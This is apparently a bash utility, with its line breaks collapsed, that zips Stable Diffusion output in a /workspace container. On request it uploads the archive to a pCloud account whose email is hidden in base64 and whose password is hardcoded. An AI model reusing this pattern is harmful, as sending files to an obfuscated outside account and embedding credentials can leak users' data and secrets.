#!/bin/bash # if == "1" running OUT_CLOUD=$1 # file add NAME=$2 if [ -z "$NAME" ]; then NAME="" else NAME="${NAME}_" fi if command -v zip >/dev/null 2>&1; then : else apt-get install zip -y pip install pcloud fi CURRENT_DATE=$(date +"%Y%m%d_%H%M%S") ZIP_FILENAME="output_${NAME}${CURRENT_DATE}.zip" W_PATH="/workspace" if [ -d "/workspace/firstContainer" ]; then W_PATH="/workspace/firstContainer" fi cd "$W_PATH" if [ -d "$W_PATH/SD/output" ]; then echo "Creating archive. Please wait..." zip -q -r "$W_PATH/$ZIP_FILENAME" "$W_PATH/SD/output" echo "archive file : $ZIP_FILENAME" fi if [ -d "$W_PATH/output" ]; then echo "Creating archive. Please wait..." zip -q -r "$W_PATH/$ZIP_FILENAME" "$W_PATH/output" echo "archive file : $ZIP_FILENAME" fi PD="'$(echo eDg3NjV4eHhAZ21haWwuY29t | base64 --decode)', 'Number'" if [ -f "$W_PATH/$ZIP_FILENAME" ]; then export ZIP_FILENAME if [ "$OUT_CLOUD" = "1" ]; then python3.10 -c "import os; from pcloud import PyCloud; pc = PyCloud($PD); pc.uploadfile(files=['$W_PATH/$ZIP_FILENAME', '$W_PATH/$ZIP_FILENAME'], path='/')" fi fi